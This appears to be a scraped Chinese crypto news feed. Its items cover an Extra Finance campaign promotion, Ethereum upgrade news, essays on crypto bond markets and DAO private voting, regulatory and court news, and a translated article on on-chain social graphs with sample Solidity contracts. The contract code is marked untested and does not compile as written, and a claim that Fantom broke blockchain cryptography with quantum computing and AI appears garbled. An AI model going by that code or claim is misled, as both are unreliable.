任务也都非常简单，只需要关注点赞转推，加入 Discord，参与测试并在指定频道发消息即可获得。OAT的Minting费用全都由项目方支付，参与用户无需支付gas fee。OAT 有上限且项目产品已经推出，加上项目构建在比较热门的 L2 公链 Optimism 上，含金量还是非常高的，建议参与。 活动链接： https://galxe.com/ExtraFi/campaign/GC3FKUxN85 Extra 自带借贷池，用户还能够通过贷出单一资产获得稳定收益，借款者则能够使用杠杆提高收益。借贷资金定向使用，只能用于杠杆池，资金不离开协议，将借贷和协议的风险降到了最低。 伴随着杠杆的使用风险也是存在的，清算风险是使用杠杆的带来的独特风险，在 Extra Finance 这种风险是可控的。Extra Finance 中，当LTV 比率达到 83.33% ，将会触发清算，留下了 16.67 的缓冲空间。在 Extra 的页面 UI 中，为用户明确展示清算价格，使用户能够根据行情提前重新平衡。灵活的仓位设置支持用户开立做多/做空和中性策略头寸，在特定的市场行情中能够获得超额利润，并避免清算风险。 用户无需在集成的 Dex 添加流动性并跳转操作，在 Extra 中能够通过添加单一资产或者任意价值的两种资产，自定义杠杆倍数，一键添加流动性。简单便捷的流程，Extra Finance 人性化的功能设计和 UI 显示，让 DeFi 新手也能够轻松操作，使更多人能够进入 DeFi 并享受 DeFi 带来的便利和收益。  ( 3 min )
    以太坊核心开发者：最后一个以太坊主网影子分叉拟于下周进行
    PANews 3月31日消息，以太坊核心开发者Tim Beiko在推特上表示：“以太坊Shapella升级测试进入最后阶段，最后一个主网影子分叉计划于下周进行，并对最新版本进行跨客户端EVM模糊测试。EOF（EVM 对象格式）已更新，各队普遍对EOF持积极态度，但怀疑它是否能与坎昆会议上的EIP-4844相适应。有人提议可能将其安排在下一个分叉中。”  ( 1 min )
    加密世界的“原生债券市场”展望
    机构：Mint Ventures 作者：Colin Li, Mint Ventures研究员 本篇文章属于Mint Ventures的Mint Clips 系列。Mint Clips是我们对于行业事件，在内外部交流后的一些思考。相对于我们的#深度研报 和#赛道扫描 系列文章，Mint Clips并不讨论特定的项目，主要呈现对于特定议题的“阶段性洞察”。 在上一篇：“加密世界的原生基准利率该如何定义？”中，我们讨论了Crypto Native的无风险利率是什么以及POS收益率的简单运用。在这一篇中，我们探讨链上债券市场为什么没有迅速发展起来，以及未来可能会往什么方向发展。 供给：周期不利于长久期低风险投资者 在传统金融领域，债券投资者的风险偏好总体低于股票投资者。承担相对低的风险，获取更稳健的回报，是债券投资者的目标。 Crypto市场成长到现在，已经成为总市值超过1万亿美元的巨大市场。不过，在BTC的“4年减半”以及行业野蛮生长带来的泡沫快速生灭的大背景下，市场表现出了极强的波动性。以比特币为例，牛市在高峰有数十倍甚至上百倍的收益，但转熊之后又很快出现80%甚至更大跌幅。其他币种在牛市和熊市中的表现更为夸张。这种高波动性导致约90%的交易者在市场中亏损离场。或许因为这样的原因，我们看到的情况是永续合约这一类逐日盯市的杠杆更为流行，久期（可以简单理解为期限、时间）较长的杠杆则几乎没有。 来源：https://coinstats.app/bitcoin-rainbow-chart/ 其他存在于市场的低风险投资机会，也表现出了较强的周期性。以存续周期最长的BTC永续合约的资金费率为例，市场在牛市中的收益率明显高于熊市。这种投资收益率的不稳定性，即便拥有长久期负债的投资者希望投资于较低风险的“类债券”机会，但也很难找到能够长期承受较高融资成本的高风险投资者。 来源：https://www.binance.com/zh-CN/futures/funding-history/perpetual/1 在最近的这一轮牛市中，“机构”入场和DAO Treasury是被反复提及的主题，这也是一些项目成立的初衷，比如针对做市商的DeFi项目。然而，随着2022年5月Luna崩溃以及随后波及三箭、FTX的影响，大量的机构投资者受到了冲击。这不仅影响了机构在市场中存量资金的使用，还导致监管机构更加重视对于crypto领域的监管。加上近期为数不多的美国加密友好银行的破产或退出，机构资金的大规模入场可能会需要更长的时间和信心的修复。 关于DAO Treasuy财务管理的叙事，市场中的讨论也非常多。但是，Hasu在2021年就分析了当时Treasury中资金的分布情况。大部分资产是项目自身的token。而即便放到现在看，优质项目，比如Lido、MakerDAOtreasury中仍然是以自身的token为主。 即便我们不考虑现状，展望DAO的未来，或许大部分项目也未必能有足够多的其他资产存储在Treasury中。这可能与crypto行业自身属性有关系。由于crypto行业是跨全球发展，各国之间的监管没有统一甚至还没有出现，让crypto行业出现了马太效应极强的局面。这种现象在现阶段DeFi中最成熟的去中心化交易所（DEX）和借贷行业（lending）表现较为明显。之所以有这样的局面出现，是因为crypto市场是链接全球流动性的且监管还不充分的一个市场。 DeFi是金融的一种，也会有金融天生的一些属性，比如说对于投资者来说，期待的是成本最低、收益最高、安全性最好的项目。因为不涉及客户管理，只有在产品维度上做差异化，但是又是开源项目，相互之间抄起代码或产品功能来不难。但是，由于DeFi对于流动性、交易成本等有天然的偏好，用户的流动性没法抄袭。所以马太效应比较强，先发的项目有更大概率成为龙头。 传统市场中，一些监管政策有反垄断的目的，希望市场参与者足够多，也会审查相互之间的并购重组，在某种意义上是抑制马太效应。回头看DeFi，没有什么监管，没有客户服务等，没有来自监管层的人为抑制垄断问题，所以马太效应就比传统领域更强一些。 那么，很多现在的DeFi项目在未来还会存在吗？可能很难，或者说即便存在很多DeFi，其中绝大部分的规模可能会很小，TOP3市占率可能就95%甚至更高。头部项目的DAO Treasury中资产就更多，那么很多DAO拥有大量Treasury的这个叙事或许就不成立了，每个赛道中只有几家头部DAO有足够的的钱去做Treasury management。 来源：https://twitter.com/marcus_wwwwww/status/1542783032008261632 长期看，大部分DeFi细分领域都可能因为龙头项目在流动性和交易成本上的优势，出现寡头占比可能是90%市占率的局面。那么对于DAO而言，需要管理的资金场景可能并不多。 回到token本身，token本身具备股债双重属性： 而在加密市场中，一个项目成立之后，它的一部分token是作为“激励”。当用户满足项目要求的行为发生之后，就拥有了参与项目激励分配的资格。一般情况下，token作为激励分配时，会在某一个时间点结算，比如每个区块、每天、每周。因为用户的行为发生在token激励分配之前，所以在每一次token激励没有分配前，都是项目对于用户的“欠款”，类似于传统会计科目中销售返利时的“预计负债”。创始团队如果想扩张债务，通过预留更多的token作为项目运行后的”激励“就可以满足条件。以“激励”这类型的新式负债存在，比直接申请贷款或者发行债券的好处在于，传统的贷款和债券是以法币计价的刚性债务，对于任何创始团队来说，都是一笔不小的压力。如果无法偿还，会面临法律等各方面问题。而token的发行权在项目方自身，也没有预期的币价要求，只有预计token数量的计划，这种新型债务对于项目方更加友好。正因为token这种新型价值媒介和融资方式的出现，项目方进行传统债务融资的需求大大降低了。 未来发展预测 上述3点可以看到，不论是从市场本身强周期性，还是从固定收益产品的供给端和需求端出发，暂时都没有看到一个类似于传统债券市场的发展土壤。什么样的债券市场可能更适合crypto行业的发展？ 从利率的基准来看，基于公链的POS收益率可能是最好的选择。这个收益率水平基于一个更大的生态存在，其业务发展程度的波动性相对单个Dapp项目而言往往更小一些。其次，这个收益率锚定了生态的增长，更容易被那一条链的参与者接受。而且，一个Dapp对于用户激励的控制权在项目方手里，不一定每一个用户都要去买这个Dapp的token；对于公链来说，只要用户需要在链上进行实质性的活动，就需要购买公链代币支付费用，相对来说公链代币的分散度可能更大。并且，在胖协议理论的影响下，大量投资者都有购买公链代币赚beta收益的倾向。因此，PoS收益率并不受到单个Dapp项目方长时间的影响，也更加稳定。 从受众来看，债券市场的参与者定位在高风险的投机者和低风险的套利者更为合适。当前的加密市场中非常缺乏长久期的投资者，所以想寻找大量稳健投资者很难。另外，利率的波动性仍然需要另一个交易对手方去承担，风险只能转移不能凭空消失，所以需要一个对利率波动投机的高风险参与者。虽然缺乏机构和DAO的资金来源，但是市场中存在大量的套利交易者，这部分投资者可以做为“低风险投资”的资金来源。与此同时，市场中更多的是高风险的投机交易者，这部分用户可以作为吸收波动性的另一端。 比如Pendle这一类基于LSD衍生出的收益代币化项目，把LSD的收益，拆分成了两部分： principle token（本金代币），固定利率产品，可以看成是一个零息债券； yield token（收益代币），利率浮动，用户可以通过买入收益代币来博未来收益率升高。既满足了套利者和低风险投资者对于收益率的要求，也可以让高风险投资者参与到对于LSD收益率的预测投机中。 从期限来看，crypto市场的整体周期偏快，因此债券的期限也应该更短。比如1年期以内的债券。这样设计的好处不仅仅有利于低风险套利交易者，而且也有利于高风险交易者：短期利率的波动会更加剧烈和频繁，可以为短期交易者提供更多潜在的交易机会。  ( 2 min )
    央行副行长：加密货币并没有解决信用货币存在的问题，潜藏很多风险
    PANews 3月31日消息，据澎湃新闻报道，中国人民银行副行长宣昌能在博鳌亚洲论坛2023年年会“数字时代的金融基础设施与金融服务”圆桌会上表示，要加快完善与数字经济相适应的监管机制。金融监管是保障数字金融稳健运行的基础性的制度安排，监管缺失会加剧非理性的市场行为。宣昌能表示，以加密货币为例，国际金融危机爆发以来，主要发达经济体长时间实施超宽松的货币政策，大规模实施QE，引发市场主体对信用货币资产贬值的担忧，在美国出现了占领华尔街的运动。在这样的背景下，以区块链技术为基础，加密货币强调它去中心化和规则算法的属性，试图对信用货币形成一种反制，并且在流动性充裕的环境下受到很多人的追捧。  ( 1 min )
    Tessera创始人旗下NFT市场Escher正式上线，将强制执行100%版税
    PANews 3月31日消息，据官方推特，NFT碎片化协议Tessera创始人Andy Chorlian创立的NFT市场Escher已正式上线，该平台将提升购买和销售版画体验，并使收藏家和创作者更容易参与加密社区和获得激励。Escher还宣布其NFT市场将强制执行100%版税，同时上线限量版NFT系列“Escher Exclusives”。 此前2月消息，Tessera创始人Andy Chorlian在推特上宣布，将推出新NFT市场Escher。  ( 1 min )
    对话DeFi之父AC：离开的原因，对Fantom、DeFi以及监管的看法
    在这一期的《The Defiant》节目中，Camila Russo 与 Fantom 联合创始人 Andre Cronje 一同探讨了 DeFi、Fantom、监管以及成为一个小众名人所面临的挑战。 请阅读以下内容了解更多信息。 Andre 之所以进入这个领域，是因为他认为这主要是一场骗局。他做的第一件事就是开始了自己的代码审查博客，让自己学习技术，但同时也有很多项目推出，声称已经解决了某些问题或解决了一些难题。 Andre 起初对此行业持反对态度，即使在今天，他仍然认为 99% 的项目都是垃圾。然而，为了那 1%是真实可信的项目，他已经在这个行业呆了五年。 每当 Andre 不得不与任何传统系统打交道时，例如银行、常规监管和税收等，他都会想起作为区块链原住民人们获得的奢侈和自由。 另一个问题是代币的变化速度比基础技术快得多，导致市场整体存在着巨大的脱节。其中的主要原因是由贪婪驱动的金融因素所致。 Andre 认为，这更多地与 DeFi 的公共性质有关，而不是其基础技术。即使 Andre 离开了，他仍然没有停止编写后台代码，继续完善 Primitive。 Andre 总是和团队保持沟通。他花了很长时间才意识到，有一个临界点，超过这个点就不再是核心贡献者。 Fantom 在 2018 年推出了主网。当时，该公司已经实现了很高的速度，但并没有像许多其他团队那样进行营销。当时，唯一合适的选择是进行首次代币发行（ICO）。 Andre 表示，在资源有限的情况下，他们花费了太多时间错误地追求其他领域，导致 Fantom 消失一段时间。 当 DeFi 变得流行起来时，Fantom 的优势开始变得更加明显，成为第一个具有真正终局性的区块链，这意味着当时存在的所有其他区块链都使用了最长链规则。 Fantom 在量子计算方面取得了重大突破，同时也在人工智能方面有很大的进展，突然间成功地知道如何摧毁区块链技术中大多数密码。 从理论上讲，具备这种能力的机器是量子计算和 AI 增强的，并且所有这些东西都可以提出一个新的最长的比特币区块链。 当 DeFi 开始变得非常流行时，人们开始看到了许多用户体验（UX）和用户界面（UI）的改进。Gas 货币化使得自适应型开发者可以获得在他们的合同上花费的 Gas 的奖励，因此他们有了更可持续的收入来源。 基于区块链的应用与 Web2 的比较 有两种类型的监管，它们是混合的，但其中包括了加密货币监管。FTX 是一家标准的公司，恰好处于加密货币的交叉点上，他们应该成为一家受监管的加密货币公司。 试图重新监管去中心化的加密货币与试图监管集中化的加密货币之间存在区别。 这并不意味着所有匿名人士都是坏人，但匿名文化使得不良分子更容易渗透进来。资格认证很重要。 当前的定位是错误的，监管机构正在过度干预，将未来在该行业发声的机会推到了一边。 很多人说 DeFi 正在下降，但实际上并非如此。按照某些人的标准，这些指标是线性增长的，根据所有的指标，DeFi 正在更好地增长。 对资本的获取有所放缓，但 Andre 认为随着人们看到更多真实世界的资产进入市场，它会增长。 真实世界的资产将成为一个叙事。它会发生，但只有在第一个监管方面出击之后才会发生。 传统审计师必须在链上使用足够的能力以将数据引入其现有报告，人们才能看到它在规模上的影响。 还有一些基础设施缺乏，未来期权方面可以做的工作也很多。 Andre 提出了一些基础设施，但他感到遗憾，因为没有人采用它们。 还有更多的货币被用于稳定币，这开始允许更多的跨境结算。 区块链还没有足够的功能集来解锁下一代应用程序。只有 Avalanche、Fantom 和 Solana 等少数几个团队在进行一些层一改进。 Q: 作为一个公众人物，是什么促使你离开？ 这既与成为一个公众人物有关，也与这个领域本身非常公开有关。在传统金融中，如果在幕后发生了什么事情，可以有机会处理它。有机会私下联系监管机构并披露发生的事情。区块链的超级公开性质是一个大问题，因为一旦它发生在链上，每个人都知道了。 这是公共性质和紧急性的结合，这些应用程序和这些区块链的高度公共性质将激励一切经济行为。不要听取反馈意见，并为该反馈意见创建其他途径。Andre 认识到什么是他需要解决的问题，而什么是其他人需要解决的问题。保持理智总是困难的，不是每个人都能够生存。 Q: 你预见这些应用程序将在行业中处于何种地位？ 当时唯一有意义的建设是金融原语。希望在两年内能看到一些游戏和一些社交系统。现在互联网上的所有内容都可以在具有不同商业模式的去中心化世界中复制。Andre 希望看到一些独特的去中心化原语，这些原语目前不存在。区块链只是颠覆了商业模式，这还没有充分发挥其潜力。 Q: 如果美国用户无法轻松访问加密货币，那么加密货币会是什么样子？ Andre 认为，随着技术和可访问性的改进，加密货币将成为不可阻挡的力量。  ( 2 min )
    FTX欧洲子公司为当地客户推出仅用于提款的新网站
    PANews 3月31日消息，据Finance Magnates报道，破产的加密交易所FTX的欧洲子公司FTX Europe为其客户创建了一个新网站，用于从该平台提取余额。新域名ftxeurope.eu已获得塞浦路斯证券交易委员会 (CySE) 的批准。新网站将不提供任何产品或除余额提取外的任何其他服务。登录新网站时会会弹出一个对话框，要求用户“登录您的FTX EU帐户，以查看您的余额并请求提款”。原来的旧网站目前仍无法使用。  ( 1 min )
    SBF对美国联邦法院最新一轮的欺诈、贿赂等指控拒不认罪
    PANews 3月31日消息，据CNBC报道，加密交易所FTX的创始人Sam Bankman-Fried（SBF）周四在纽约联邦法院对其与FTX和Alameda Research倒闭有关的另外五项指控表示不认罪。SBF的律师Mark Cohen表示，他计划提出动议，要求不就所有指控对他的当事人进行审判。SBF将辩称，根据美国和巴哈马条约，被引渡的人只能根据他们被引渡的罪名受审。SBF发言人表示：“正如Cohen在法庭上所说，在提交动议时，我们将对新指控提出质疑。” 此前3月28日消息，美国公布针对FTX创始人SBF的13项新起诉。  ( 1 min )
    探讨DAO治理中隐私投票的利与弊
    作者：《Poison or Cure? Private Voting in DAO Governance》by Shumo 编译：0x11，Foresight News DAO 是加密货币带给世界的新治理结构，它旨在为个人和团队协调和组织方式带来更多自主权。和加密货币带来的许多新事物一样，DAO 带来了许多混乱，最著名的是 The DAO 黑客攻击事件，它导致了以太坊的第一次硬分叉。尽管加密货币是新事务，它并不完美，但构建在它之上的 DAO 仍然存在，并且存活了下来。在实践方面，DAO 金库中持有价值数十亿美元的资产；在哲学方面，许多深度思考者开始研究 DAO 的深远影响（我推荐 Stanford Blockchain Review 的最新文章）。  直到今天，DAO 的治理实践几乎都基于基于代币的投票方案。在典型的 DAO 中，成员持有某种治理代币来代表投票权。与国库相关的 DAO 决策通常在链上投票决定，例如简单多数、二次放投票或某种动态阈值方案。由于技术限制，目前所有完全链上的 DAO 治理都是公开透明的。  随着 zkSNARKs 的普及，DAO 治理的链上隐私投票成为可能。近期，运行最好的 cc 0 NFT DAO 之一（Nouns DAO）开始了在其治理实践中引入隐私投票的探索。0x DigitalOil 写了一篇文章阐述为什么隐私投票对 Nouners 很重要。尽管他的后续提案获得通过，但依然颇具争议。首先，投票参与率（>40% ，而正常情况下为 30% ）。其次，尽管该提案获得通过，但仍有大量反对票。值得注意的是，出于对隐私投票可能对 Nouns 文化产生负面影响的担忧，Nouns 创始团队在该提案中投了反对票。  这引出了一个有趣的问题？假设技术准备就绪，DAO 是否应该采用隐私投票方案。 如果从哲学的角度打个比方，DAO 就是一个公民社会。然后，隐私投票是言论自由的重要护栏，这是写在最成功的「DAO」之一——美利坚合众国的宪法权利。我不认为本文的读者需要质疑言论自由的价值。在 DAO 中，投票是表达的最终形式。 从实际的角度来看，正如 0x DigitalOil 在他的 Nouns 论坛帖子中所阐明的那样，有证据表明互换选票的现象非常普遍。DAO 成员很多时候不一定会投票选出他们认为最好的东西。他们可能担心他们的选票会影响他们的形象；他们可能担心他们的反对票会损害他们未来提案获得通过的机会。现实生活中的选民报复可能成为一个问题，DeFi 相关的 DAO 中更是如此。   从哲学上讲，再次使用公民社会类比，隐私投票消除了选民的责任感。公开透明的投票记录可能是 DAO 声誉系统建立健全社会层的重要来源。在民主政治制度中也可以看到类似的设计：美国参议院和众议院的投票记录是完全公开的。 由于 DAO 的隐私投票系统尚未投入使用，我无法预见可能的负面影响。但可以想象，由于缺乏问责制，交易选票和贿赂可能会成为一个问题。虽然有像 Peter Thiel 这样的思想家认为私下交易和马术交易是民主社会的「润滑剂」。我个人可能不同意这一点。由于投票在不同地址之间分散进行，目前的投票方案甚至存在不透明性的问题。 在这篇文章中，我的目标不是盲目推销隐私投票计划。然而，我们确实需要开始隐私投票的社会实验，这是目前 DAO 实践中缺乏的一个基本原语。所以隐私投票实践的几个方向： 混合方案：类似于美国参议院 / 众议院和总统选举，对有声望的成员保留问责机制，对大众提供隐私机制。  可选性：选民可以选择公开或保密。虽然一个可能的问题是，选择不公开可能本身就是一个信号。 让这个伟大的社会实验开始吧！  ( 2 min )
    Magic Eden引入钻石奖励，目前用户可通过三种方式赚取钻石
    PANews 3月31日消息，据官方博客，NFT市场Magic Eden宣布引入钻石奖励（Diamond Rewards）计划，允许用户根据不同的任务赚取钻石，并在Magic Eden中解锁更多的奖励。 钻石是一种奖励货币，每月奖励数量都会保持不变。目前获得钻石的方式有以下三种： 1.在Magic Eden上架NFT并成功出售； 2.在Magic Eden竞价NFT并被接受； 3.完善个人资料。 Magic Eden表示，用户忠诚度分数用于确定所赚钻石的乘数，100%的忠诚度得分会获得2倍乘数。每24小时检查一次忠诚度，并在赚取钻石时应用忠诚度乘数。忠诚度得分计算考虑了用户在过去6个月的活动。Magic Eden还将推出更多赚取钻石和奖励的方式，以及未来特定的钻石福利和奖励。  ( 1 min )
    韩国法院再次拒绝逮捕Terra联创Daniel Shin
    PANews 3月31日消息，据彭博社报道，韩国检察官要求对Terraform Labs联合创始人Daniel Shin发出逮捕令的请求被当地法院第二次驳回。 首尔南区法院周四表示，对申某的指控仍有争议，他不太可能有潜逃或销毁证据的风险。 此前去年12月消息，韩国法院驳回对Terra联创Daniel Shin逮捕令。首尔检察官去年表示，Shin面临欺诈、失职、违反资本市场法和非法集资等指控。  ( 1 min )
    探讨构建十亿用户的Web3 社交图谱两种方法：链上图和链式图
    原文标题：《The Billion User Social Graph》 撰文：Jon Stokes 编译：Dan，W3.Hitchhiker 随着埃隆 - 马斯克最近接管了 Twitter，关于从大型社交网络迁移到独立或开放的替代方案的讨论已经越来越多，但是所有那些刚开始幻想在加入繁荣的 Twitter 前居民社区的人，很快就会遇到自 J6 之后的跨平台社交媒体大清洗以来，右派一直在努力解决的问题：网络锁定是真实的。 你可以对协调问题、偏好级联、信号和其他游戏理论式的概念进行理论和策略分析–我不否认这些都是理解问题的有用方法–但要理解 Twitter 和 Facebook 对我们数亿人的强大影响，你真正需要知道的是网络时代初期的一个简单启发式方法 梅特卡夫定律指出，电信网络的价值与系统的连接用户数的平方成正比（n2）。梅特卡夫定律最初是由 George Gilder 在 1993 年以这种形式提出的，并归功于 Robert Metcalfe 在以太网方面的工作。大约在 1980 年，梅特卡夫定律最初不是以用户为单位，而是以「兼容的通信设备」（如传真机、电话）为单位。只是后来随着互联网的全球化，这一定律才延续到了用户和网络，因为它的初衷是描述以太网连接。 要让人们放弃一个大的、密集的网络图，而选择一个小的、稀疏的网络图，几乎是不可能的，唯一的原因是前者有价值，而后者没有。 不过奇怪的是，web3 解决了这个问题。或者至少如果我们使用一些简单的智能合约，将区块链从一个巨大的用户表变成一个巨大的社交图谱，它可以解决这个问题。 区块链可以而且确实作为一个巨大的、共享的用户表发挥作用，它是开放的、公开的，不受任何一个实体控制。正如我在《十亿用户表》中写的那样： 公共区块链相当于整个互联网的一个单一的、大规模的用户表，下一波分布式应用将建立在它之上。 取而代之的是一个由 API 连接的分散的用户数据仓网络，一个通过开放协议和分散的存储节点网络访问的单一分散的用户数据存储。因此，身份托管区块链代表了数据存储实施层的去中心化，以及数据存储访问层的再中心化。 想象一下，LinkedIn、Reddit 和 Github 都将他们的用户表（以及他们的许多专有数据，如认可、积分和活动历史）移植到 BitClout。马上就会发生以下情况：每个 Github 用户也是 Reddit 用户、LinkedIn 用户和 BitClout 用户。同样，每个 Reddit 用户也是 Github 用户、LinkedIn 用户和 BitClout 用户。我可以继续说下去，但你会明白这一点。 每个建立在同一虚拟用户表上的公司都能立即获得该表上其他每家创业公司的网络效应。每当一个链上公司加入一个新的用户，那么你的服务也有一个新的用户。( 从某种程度上说。他们可能还没有积极使用你的服务，但他们实际上在你的服务的潜在用户）。 先前的那篇文章用 Bitclout（该项目中的链现在被称为 DeSo）作为可以支持这种用例的区块链的典型例子。但是，尽管我对 DeSo 的整个事情感到兴奋，但它的结果并不那么好。 这里不适合做 Bitclout / DeSo 的事后总结，但标出该区块链的一个方面是有意义的，因为它对现在的讨论很重要。Bitclout 努力将整个社交网络放在链上，每个帖子都被写在链上，作为一个对象，可以累积收入（通过 Bitclout 钻石）。这很聪明，但任何试图承载实际内容的区块链都会看到其数据需求随着用户和连接的数量而非线性增长。 Bitclout 团队非常熟悉这种无限制的数据增长问题，并花费了大量的实际工程努力来解决这个问题。但事后看来，我实际上认为他们试图同时做太多的事情。他们应该只专注于社交图的可移植性问题。 用我之前文章中的数据库术语来描述，Bitclout 试图把以下所有的表都放在链上（另外还有一些是 Bitclout 特有的）： 最后两张表总是出现数据爆炸，在用户迅速增长的情况下都会变得不容易操作。 因此，我认为更好的方法是采用现有的区块链，它基本上已经是那个第一张表（即用户），并在其中添加一个 user_follows_user 连接表。( 我们还可以为其他类型的关系扩展连接，如 user_mutes_user，但目前我们还是保持简单的。) 这个用户对用户的连接表也会随着用户数量的增加而非线性增长，但增长速度会比较慢，更重要的是，为了表示它所需要的额外数据量（=它所消耗的额外块空间量）将远远低于帖子表。 我这样建议是因为用户和粉丝关系构成了每个大型社交网络平台锁定的主要来源。如果你的整个 Twitter 或 Facebook 的社交图谱都是开放的，并且可以随时提供给其他想要托管帖子和其他更多数据密集型的社交网络体验的社交平台，那么这些平台的锁定性基本上为零。 想象一下，我的整个推特图是在链上体现的–包括实际的账户和追随者关系。为了查看该图中的 Twitter 帖子（以及相关的喜欢、转发、引用 - 转发等），我需要用我的钱包连接到 Twitter.com。但是，假设我想跳转到 tribel.com，或 gab.com，或其他一些有自己特殊倾向和节制政策的社交平台–如果他们能从区块链上读取我的社交图谱，那么我可以在那里连接我的钱包，看到同样的连接，并看到他们在这个其他网站上的任何帖子。 这听起来可能没那么有吸引力，但考虑到这样一个事实：如果我在 Tribel 上关注一个新的人，那么我现在也在 Twitter 和 Gab 上关注这个人–以及在其他所有使用相同链上图的用户和关系的社交平台上。取消关注和屏蔽的工作方式也一样–在一个地方做一次，你的图谱的变化就会立即反映在所有地方。 现在，那些在阅读时想利用这一点的已经意识到，在一个如上所述的世界中，将不可避免地发生什么：有人会制作一个全能客户端，让你通过一个界面从任何或所有这些网络中阅读和发布信息。那么，拥有独立的服务就没有意义了，他们都会倒闭……或者他们会吗？ 我所描述的世界已经以一种原型状态存在，以竞争性信息协议的形式存在，这些协议都与你的电话号码相联系，并从你的联系人数据库中填充自己。电话号码系统是亿万用户表的原型，而分布式的联系人应用程序都可以读写标准的 Vcard 格式，构成了建立在该表之上的关系图。 有许多信息传递协议都是借助于这种电话号码 + 联系人的组合，其结果有点像我在这里描述的社交网络。例如，当你第一次登录 Telegram 时，它会扫描你的联系人，然后你立即在这个新的应用程序中拥有你现有的网络。 其结果是，你可以选择通过 Signal、Telegram、WhatsApp、iMessage 或传统短信与相同的电话号码交换信息–这一切都在于你和你的网络中的其他人想使用哪种信息协议。 还有一个永恒的循环，就是消息应用的去中心化和再中心化，这从 ICQ 时代就开始了，在 WhatsApp / Signal / Telegram / Facebook / 等的时代仍然在发生。你可以找到任何数量的多合一消息客户端，在一个窗口中支持许多这些平台。 这些信息应用都没有受到损害，因为它们都从同一个开放的电话号码系统和可互操作的联系人应用和服务生态系统中获取身份–它们都共存并带来不同的东西，而且我们中的许多人在它们之间切换，与我们联系人中具有不同需求和偏好的不同子图交谈。如果我们把社交图谱移到链上，我希望这种动态会持续下去。 不同的平台有不同类型的社交连接，用户可以相互之间的连接。Facebook 有朋友、关注和屏蔽。Twitter 有关注、静音和屏蔽。这些对于这些平台来说是很好的，但我们可以改进它们，使它们更适合区块链，使它们更具有可组合性。 可组合性是一个计算机科学术语，大概意思是，你可以混合和匹配这些小的、离散的、明确定义的工具，以获得不同的效果和功能。 考虑到 Facebook 的「朋友」–这是它自己的连接类型，但它也意味着「关注」，因为当你把某人加为好友时，你会自动关注他们。在 Twitter 上，「封杀」意味着「静音」，因为当你屏蔽某人时，你基本上是在让他们静音，同时也阻止他们看到你的帖子。 对于我自己的两个社交图谱的建议，下面，我想建议跟随，更干净和可组合的社交图谱关系集： 在这个方案下，一个封杀是一个「静音」加一个「屏蔽」，所以它是对同一个目标地址的两个操作，一起组成的（例如，如果我想封杀 annoyinghater.eth，我就把这个地址静音，再把它的屏蔽）。 如果我想看到某人的帖子，但又不想让他们看到我自己的帖子，我可以关注他们，再加上屏蔽。或者，如果我想保留通过导航到他们的内容或定期取消他们的静音来阅读，我可以关注加静音。 我试图以这种方式理清关系，因为它使我们更容易推理接下来的章节中的合约和关系。 在本文的其余部分，我提出了两个将社交图谱分层到十亿用户表中的建议。 要真正理解这两个提案，你需要对以下概念有一些基本的熟悉： 了解一点 Solidity（以太坊的智能合约编程语言）也会有所帮助。如果你对上述一项或全部内容模糊不清，我试图以一种你应该仍然能够掌握基本知识的方式来写这篇文章。 对于这两个提案，我假设我们使用 ENS 作为身份的根，并向其添加新的地址记录，其中包含一些相当标准的 ERC721 NFT 合约的地址，这些合约分别代表我上面概述的三种类型的社交关系（跟随、静音、屏蔽）。这三个合约的作用从一个提案到另一个提案都非常不同，但把它们的地址放入三个特殊的 ENS 地址记录的基本想法保持不变。 我还想为社交用户数据 URI 提出一个额外的 ENS 记录，这样你就可以更新你的社交数据而不需要消耗 gas。一个拟议的 profileURI 记录将链接到一个藏在某些第三方平台上的 JSON 对象，看起来像这样： curl https://jonstokes.com/jons-profile.json -H "Accept: application/json" { "name": "jonstokes.(eth|com)", "bio": "Writer. Coder. Doomer Techno-Optimist. Cryptography Brother.", "website": "https://jonstokes.com/", "location": "Austin, TX" } 档案 JSON 中的一些内容与现有的 ENS 字段是多余的，但这没关系；这样做的目的是为了给社交平台提供一些可以显示的东西，并让用户能够对他们的社交档案进行修改，而无需花费 gas 来更新 ENS 记录。 On-Chain Graph 的想法使用 NTFT 来表示上述的三种关系。对于以下三个社交合约，持有 ENS NFT 的同一个钱包也应该拥有这些合约，它们的三个对应的 ENS 地址记录应该指向这些合约： 这三种情况的语义基本上都是：「相对于我，即合约所有者，你是 X」，其中「X」是追随者、屏蔽、静音的一种。 这里有一个追随者合约样本： // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract OCGFollower is ERC721, ERC721Enumerable, Pausable, Ownable, ERC721Burnable { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; constructor() ERC721("OCGFollower", "OCGF") {} function _baseURI() internal pure override returns (string memory) { return "https://jonstokes.com/ocg/follower"; } function relationship() public { return "ocg follower"; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function safeMint(address to) public { //Prevent anyone but the owner from minting //a token to an address they don't own. require(isOwner(_msgSender()) || (_msgSender() == to), "Unable to mint to this address"); uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256) pure override internal { //Disable token transfers. require(from == address(0) || to == address(0), "Cannot be transferred."); } // The following functions are overrides required by Solidity. function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } 如果你熟悉 Solidity，你可以看到这个非常简单（而且未经测试！）的合约试图做什么。 首先是扩展： 现在对 OpenZeppelin 向导的输出进行修改： 这一切真的很简单，对于 OCG 的屏蔽和 OCG 的静音变体，你要做以下小改动： 显然，这将取决于平台是否以正确的方式履行这些合约（即关注、屏蔽、静音）。不过，这没有听起来那么有威胁性和不稳定，因为如果一个特定的社交平台不履行你所关心的合约，就不要使用它。 你可以在 safeMint 中加入 payable，然后使用 setMintRate 来设定人们必须为以下内容向你支付的价格。因此，类似于这样的内容： uint256 public mintRate = 0.01 ether; function setMintRate(uint256 mintRate_) public onlyOwner { mintRate = mintRate_; } function safeMint(address to) public payable { // Require pay-to-follow require(msg.value >= mintRate, "Not enough ether to mint"); //Prevent anyone but the owner from minting //a token to an address they don't own. require(isOwner(_msgSender()) || (_msgSender() == to), "Unable to mint to this address"); uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); 